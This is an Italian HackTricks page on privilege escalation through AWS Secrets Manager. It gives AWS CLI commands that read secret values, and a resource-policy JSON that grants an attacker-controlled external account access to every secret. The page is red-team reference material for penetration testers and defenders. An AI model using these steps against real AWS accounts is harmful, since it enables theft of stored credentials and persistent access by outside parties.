AWS - Secrets Manager Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Secrets Manager

Per ulteriori informazioni su Secrets Manager, controlla:

pageAWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Un attaccante con questa autorizzazione può ottenere il valore salvato all'interno di un segreto in AWS Secretsmanager.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Potenziale Impatto: Accesso a dati altamente sensibili all'interno del servizio AWS Secrets Manager.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Con le autorizzazioni precedenti è possibile concedere l'accesso ad altri principali/account (anche esterni) per accedere al segreto. Si noti che, per leggere i segreti criptati con una chiave KMS, l'utente deve anche avere accesso alla chiave KMS (ulteriori informazioni nella pagina di Enumerazione KMS).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowListSecrets",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:ListSecrets"
            ],
            "Resource": "*"
        },
        {
            "Sid": "AllowGetSecretValue",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:GetSecretValue"
            ],
            "Resource": "arn:aws:secretsmanager:us-east-1:123456789012:secret:MySecret"
        }
    ]
}

This policy.json file contains an AWS IAM policy that grants two permissions related to AWS Secrets Manager. The first permission allows the user to list all secrets in the account by using the secretsmanager:ListSecrets action. The second permission allows the user to retrieve the value of a specific secret named "MySecret" by using the secretsmanager:GetSecretValue action. The Resource field specifies the ARN (Amazon Resource Name) of the secret, which is in the format arn:aws:secretsmanager:<region>:<account-id>:secret:<secret-name>. In this example, the secret is located in the us-east-1 region and belongs to the AWS account with the ID 123456789012.

{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated